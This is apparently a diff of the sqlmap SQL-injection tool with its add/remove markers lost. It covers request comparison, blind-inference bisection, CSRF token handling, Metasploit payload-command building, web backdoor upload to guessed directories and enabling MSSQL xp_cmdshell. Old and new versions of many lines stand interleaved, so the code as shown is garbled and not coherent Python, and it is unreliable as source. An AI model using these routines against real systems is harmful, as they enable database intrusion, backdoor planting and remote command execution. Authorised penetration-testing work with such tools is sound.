from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import MAX_RATIO
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import LOWER_RATIO_BOUND
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import URI_HTTP_HEADER
from lib.core.threads import getCurrentThreadData
def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
@@ -47,19 +49,15 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData()
if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else ""
threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
threadData.lastComparisonPage = page
threadData.lastComparisonCode = code
if page is None and pageLength is None:
return None
count = 0
seqMatcher = threadData.seqMatcher
seqMatcher.set_seq1(kb.pageTemplate)
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue(headers.headers) if headers else "", page)
rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)
# String to match in page when the query is True and/or valid
if conf.string:
@@ -77,6 +75,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if conf.code:
return conf.code == code
seqMatcher = threadData.seqMatcher
seqMatcher.set_seq1(kb.pageTemplate)
if page:
# In case of an DBMS error page return None
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
@@ -109,59 +110,37 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
seq1, seq2 = None, None
if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
if seqMatcher.a and page and seqMatcher.a == page:
ratio = 1
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
ratio = 1.0 * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
else:
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
seq1, seq2 = None, None
if seq1 is None or seq2 is None:
return None
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
while count < min(len(seq1), len(seq2)):
if seq1[count] == seq2[count]:
count += 1
if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
else:
break
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
if count:
try:
_seq1 = seq1[count:]
_seq2 = seq2[count:]
except MemoryError:
pass
else:
seq1 = _seq1
seq2 = _seq2
if seq1 is None or seq2 is None:
return None
while True:
try:
seqMatcher.set_seq1(seq1)
except MemoryError:
seq1 = seq1[:len(seq1) / 1024]
else:
break
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
while True:
try:
seqMatcher.set_seq2(seq2)
except MemoryError:
seq2 = seq2[:len(seq2) / 1024]
else:
break
seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2)
ratio = round(seqMatcher.quick_ratio(), 3)
ratio = round(seqMatcher.quick_ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if kb.matchRatio is None:
if (count or ratio >= LOWER_RATIO_BOUND) and ratio <= UPPER_RATIO_BOUND:
if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
kb.matchRatio = ratio
logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)
+71 -40
View File
@@ -90,6 +90,7 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import MAX_MURPHY_SLEEP_TIME
from lib.core.settings import META_REFRESH_REGEX
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import IS_WIN
@@ -110,7 +111,6 @@ from lib.request.basic import processResponse
from lib.request.direct import direct
from lib.request.comparison import comparison
from lib.request.methodrequest import MethodRequest
from thirdparty.multipart import multipartpost
from thirdparty.odict.odict import OrderedDict
from thirdparty.socks.socks import ProxyError
@@ -122,7 +122,10 @@ class Connect(object):
@staticmethod
def _getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
try:
return Connect.getPage(**kwargs)
except RuntimeError:
return None, None, None
@staticmethod
def _retryProxy(**kwargs):
@@ -144,7 +147,7 @@ class Connect(object):
warnMsg = "most probably web server instance hasn't recovered yet "
warnMsg += "from previous timed based payload. If the problem "
warnMsg += "persists please wait for few minutes and rerun "
warnMsg += "without flag T in option '--technique' "
warnMsg += "without flag 'T' in option '--technique' "
warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
singleTimeWarnMessage(warnMsg)
@@ -222,8 +225,10 @@ class Connect(object):
if conf.offline:
return None, None, None
elif conf.dummy:
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
if conf.murphyRate:
time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)
threadData = getCurrentThreadData()
with kb.locks.request:
@@ -239,7 +244,7 @@ class Connect(object):
referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", False)
multipart = kwargs.get("multipart", None)
silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout
@@ -251,6 +256,9 @@ class Connect(object):
crawling = kwargs.get("crawling", False)
skipRead = kwargs.get("skipRead", False)
if multipart:
post = multipart
websocket_ = url.lower().startswith("ws")
if not urlparse.urlsplit(url).netloc:
@@ -295,20 +303,6 @@ class Connect(object):
params = urlencode(params)
url = "%s?%s" % (url, params)
elif multipart:
# Needed in this form because of potential circle dependency
# problem (option -> update -> connect -> option)
from lib.core.option import proxyHandler
multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler)
conn = multipartOpener.open(unicodeencode(url), multipart)
page = Connect._connReadProxy(conn) if not skipRead else None
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
return page
elif any((refreshing, crawling)):
pass
@@ -361,7 +355,7 @@ class Connect(object):
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
if post is not None and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
@@ -373,6 +367,9 @@ class Connect(object):
if boundary:
headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)
if conf.keepAlive:
headers[HTTP_HEADER.CONNECTION] = "keep-alive"
# Reset header values to original in case of provided request file
if target and conf.requestFile:
headers = OrderedDict(conf.httpHeaders)
@@ -409,7 +406,7 @@ class Connect(object):
responseHeaders = _(ws.getheaders())
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
requestMsg += "\n%s" % requestHeaders
if post is not None:
@@ -428,7 +425,7 @@ class Connect(object):
else:
req = urllib2.Request(url, post, headers)
requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items())
requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time())
@@ -440,7 +437,7 @@ class Connect(object):
requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))
if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION
requestHeaders += "\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")
requestMsg += "\n%s" % requestHeaders
@@ -449,9 +446,10 @@ class Connect(object):
requestMsg += "\n"
threadData.lastRequestMsg = requestMsg
if not multipart:
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
if conf.cj:
for cookie in conf.cj:
@@ -561,7 +559,7 @@ class Connect(object):
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
@@ -572,7 +570,8 @@ class Connect(object):
elif conf.verbose > 5:
responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if not multipart:
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if ex.code == httplib.UNAUTHORIZED and not conf.ignore401:
errMsg = "not authorized, try to provide right HTTP "
@@ -613,14 +612,21 @@ class Connect(object):
elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg:
singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
conf.disablePrecon = True
if not conf.disablePrecon:
singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
conf.disablePrecon = True
if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
kb.responseTimes.clear()
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests")
warnMsg = "connection timed out to the target URL"
elif "URLError" in tbMsg or "error" in tbMsg:
warnMsg = "unable to connect to the target URL"
match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
if match:
warnMsg += " ('%s')" % match.group(1).strip()
elif "NTLM" in tbMsg:
warnMsg = "there has been a problem with NTLM authentication"
elif "BadStatusLine" in tbMsg:
@@ -639,7 +645,7 @@ class Connect(object):
else:
warnMsg = "unable to connect to the target URL"
if "BadStatusLine" not in tbMsg:
if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
warnMsg += " or proxy"
if silent:
@@ -688,7 +694,7 @@ class Connect(object):
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
if not skipLogTraffic:
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
@@ -698,7 +704,8 @@ class Connect(object):
elif conf.verbose > 5:
responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if not multipart:
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
return page, responseHeaders, code
@@ -786,9 +793,20 @@ class Connect(object):
value = agent.replacePayload(value, payload)
else:
# GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below
value = agent.replacePayload(value, payload)
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
skip = False
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
if kb.cookieEncodeChoice is None:
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
choice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N')
kb.cookieEncodeChoice = choice.upper().strip() == "Y"
if not kb.cookieEncodeChoice:
skip = True
if not skip:
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below
value = agent.replacePayload(value, payload)
if conf.hpp:
if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
@@ -825,9 +843,13 @@ class Connect(object):
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
elif place == PLACE.GET: # Note: for (e.g.) checkWaf() when there are no GET parameters
get = value
if PLACE.POST in conf.parameters:
post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
elif place == PLACE.POST:
post = value
if PLACE.CUSTOM_POST in conf.parameters:
post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
@@ -856,15 +878,23 @@ class Connect(object):
if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue):
retVal = paramString
match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
match = re.search("%s=[^&]*" % re.escape(parameter), paramString)
if match:
retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
retVal = re.sub(match.group(0), "%s=%s" % (parameter, newValue), paramString)
else:
match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
if match:
retVal = re.sub(match.group(0), "%s%s" % (match.group(1), newValue), paramString)
return retVal
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
match = re.search(r"<input[^>]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "")
token = (match.group(2) or match.group(3) or match.group(4)) if match else None
if not token:
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
token = match.group(1) if match else None
if not token:
if conf.csrfUrl != conf.url and code == httplib.OK:
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -956,7 +986,7 @@ class Connect(object):
while True:
try:
compiler.parse(conf.evalCode.replace(';', '\n'))
compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
except SyntaxError, ex:
original = replacement = ex.text.strip()
for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
@@ -1046,7 +1076,7 @@ class Connect(object):
dataToStdout(" (done)\n")
elif not kb.testMode:
warnMsg = "it is very important to not stress the network adapter "
warnMsg = "it is very important to not stress the network connection "
warnMsg += "during usage of time-based payloads to prevent potential "
warnMsg += "disruptions "
singleTimeWarnMessage(warnMsg)
@@ -1113,6 +1143,7 @@ class Connect(object):
threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page
threadData.lastCode = code
kb.originalCode = kb.originalCode or code
+3 -2
View File
@@ -87,8 +87,9 @@ class HTTPSConnection(httplib.HTTPSConnection):
if not success:
errMsg = "can't establish SSL connection"
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.10"):
errMsg += " (please retry with Python >= 2.7.10)"
# Reference: https://docs.python.org/2/library/ssl.html
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
errMsg += " (please retry with Python >= 2.7.9)"
raise SqlmapConnectionException(errMsg)
class HTTPSHandler(urllib2.HTTPSHandler):
+2 -2
View File
@@ -284,7 +284,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None
return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
def _goBooleanProxy(expression):
"""
@@ -432,7 +432,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", expression)) if re.search(r"(?i)SELECT.+FROM", expression) else None
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
+6 -5
View File
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
import os
import re
import select
import sys
import tempfile
import time
@@ -47,8 +48,6 @@ from lib.core.subprocessng import recv_some
if IS_WIN:
import msvcrt
else:
from select import select
class Metasploit:
"""
@@ -430,10 +429,12 @@ class Metasploit:
self._payloadCmd += " X > \"%s\"" % outFile
else:
if extra == "BufferRegister=EAX":
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
if extra is not None:
self._payloadCmd += " %s" % extra
self._payloadCmd += " > \"%s\"" % outFile
else:
self._payloadCmd += " -f exe > \"%s\"" % outFile
@@ -550,7 +551,7 @@ class Metasploit:
# Probably the child has exited
pass
else:
ready_fds = select([stdin_fd], [], [], 1)
ready_fds = select.select([stdin_fd], [], [], 1)
if stdin_fd in ready_fds[0]:
try:
@@ -598,7 +599,7 @@ class Metasploit:
else:
proc.kill()
except (EOFError, IOError):
except (EOFError, IOError, select.error):
return proc.returncode
def createMsfShellcode(self, exitfunc, format, extra, encode):
+10 -3
View File
@@ -116,7 +116,7 @@ class Web:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
if "File uploaded" not in page:
warnMsg = "unable to upload the file through the web file "
@@ -200,6 +200,15 @@ class Web:
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
@@ -217,8 +226,6 @@ class Web:
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if not directory.endswith('/'):
directory += '/'
+7 -7
View File
@@ -45,7 +45,7 @@ class Xp_cmdshell:
def _xpCmdshellCreate(self):
cmd = ""
if Backend.isVersionWithin(("2005", "2008", "2012")):
if not Backend.isVersionWithin(("2000",)):
logger.debug("activating sp_OACreate")
cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
@@ -56,7 +56,7 @@ class Xp_cmdshell:
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
if Backend.isVersionWithin(("2005", "2008")):
if not Backend.isVersionWithin(("2000",)):
cmd += ";RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd))
@@ -83,10 +83,10 @@ class Xp_cmdshell:
return cmd
def _xpCmdshellConfigure(self, mode):
if Backend.isVersionWithin(("2005", "2008")):
cmd = self._xpCmdshellConfigure2005(mode)
else:
if Backend.isVersionWithin(("2000",)):
cmd = self._xpCmdshellConfigure2000(mode)
else:
cmd = self._xpCmdshellConfigure2005(mode)
inject.goStacked(agent.runAsDBMSUser(cmd))
@@ -111,8 +111,8 @@ class Xp_cmdshell:
errMsg += "storing console output within the back-end file system "
errMsg += "does not have writing permissions for the DBMS process. "
errMsg += "You are advised to manually adjust it with option "
errMsg += "--tmp-path switch or you will not be able to retrieve "
errMsg += "the commands output"
errMsg += "'--tmp-path' or you won't be able to retrieve "
errMsg += "the command(s) output"
logger.error(errMsg)
elif isNoneValue(output):
logger.error("unable to retrieve xp_cmdshell output")
+71 -23
View File
@@ -41,7 +41,7 @@ from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
from lib.core.settings import MAX_BISECTION_LENGTH
from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
from lib.core.settings import MAX_REVALIDATION_STEPS
from lib.core.settings import NULL
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
from lib.core.settings import PARTIAL_VALUE_MARKER
@@ -66,6 +66,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
finalValue = None
retrievedLength = 0
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
@@ -143,7 +144,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
length = None
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
numThreads = min(conf.threads, length) or 1
if showEta:
progress = ProgressBar(maxValue=length)
@@ -197,8 +198,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
"""
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
@@ -209,10 +209,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(kb.technique)
return not result
return result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
@@ -254,9 +261,44 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
@@ -279,6 +321,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
@@ -318,24 +366,25 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if timeBasedCompare and not validateChar(idx, retVal):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
kb.timeValidCharsRun = 0
if retried < MAX_TIME_REVALIDATION_STEPS:
threadData.validationRun = 0
if retried < MAX_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
@@ -345,8 +394,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
kb.timeValidCharsRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
@@ -376,8 +425,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
threadData = getCurrentThreadData()
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
